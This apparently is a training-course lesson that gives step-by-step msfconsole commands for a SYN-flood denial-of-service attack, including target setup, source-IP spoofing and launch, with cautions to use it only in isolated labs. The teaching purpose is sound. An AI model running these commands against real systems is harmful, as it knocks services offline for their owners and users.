Security Concepts
[Day 12] 3. DoS using msfconsole
D
DITISS Admin1. Prepare Your Environment
-
Target Setup:
-
Identify the target machine's IP address:
baship a -
Ensure the target machine is reachable from the attacking machine by pinging it:
bashping <Target_IP>
-
-
Attacker Setup:
-
Start Metasploit Framework:
bashsudo msfconsole
-
2. Configure the SYN Flood Module
-
Load the SYN Flood Module:
bashuse auxiliary/dos/tcp/synflood -
View Available Options:
bashshow optionsThis displays all configurable parameters for the module.
-
Set the Target IP Address (RHOST):
bashset RHOST <Target_IP>Replace
with the IP of the target machine.<Target_IP> -
Optional: Set Source IP (Spoofing): If you want to spoof the source IP address:
bashset SHOST <Spoofed_IP>
3. Launch the Attack
-
Start the SYN Flood:
bashexploit- This will start sending a flood of SYN packets to the target IP.
- Monitor the attack output to see packet generation logs.
Notes and Considerations
- Use in Legal Scenarios: Ensure you perform this attack only in a controlled lab setup or with explicit permission.
- DoS vs. DDoS: This method demonstrates a basic DoS attack. Real-world DDoS attacks typically involve multiple distributed sources.
- Impact on Target: A SYN flood can overwhelm the target's connection table, rendering it temporarily unavailable. Be cautious about the resource capacity of the target system.
- Testing Environment: Use virtualized setups (e.g., VirtualBox or VMware) with isolated networks to avoid unintended consequences.
Read Next
8/26/2026
[Day 12] 4. Nessus
### **What is Nessus?** Nessus is a vulnerability scanner developed by Tenable, available in multiple editions: 1. **Nessus Essentials:** Free v...
8/26/2026
[Day 12] 5. OWASP Mobile
### **OWASP Mobile Top 10 Risks** 1. **M1: Improper Credential Usage** - **Description:** Weaknesses in how credentials are managed or u...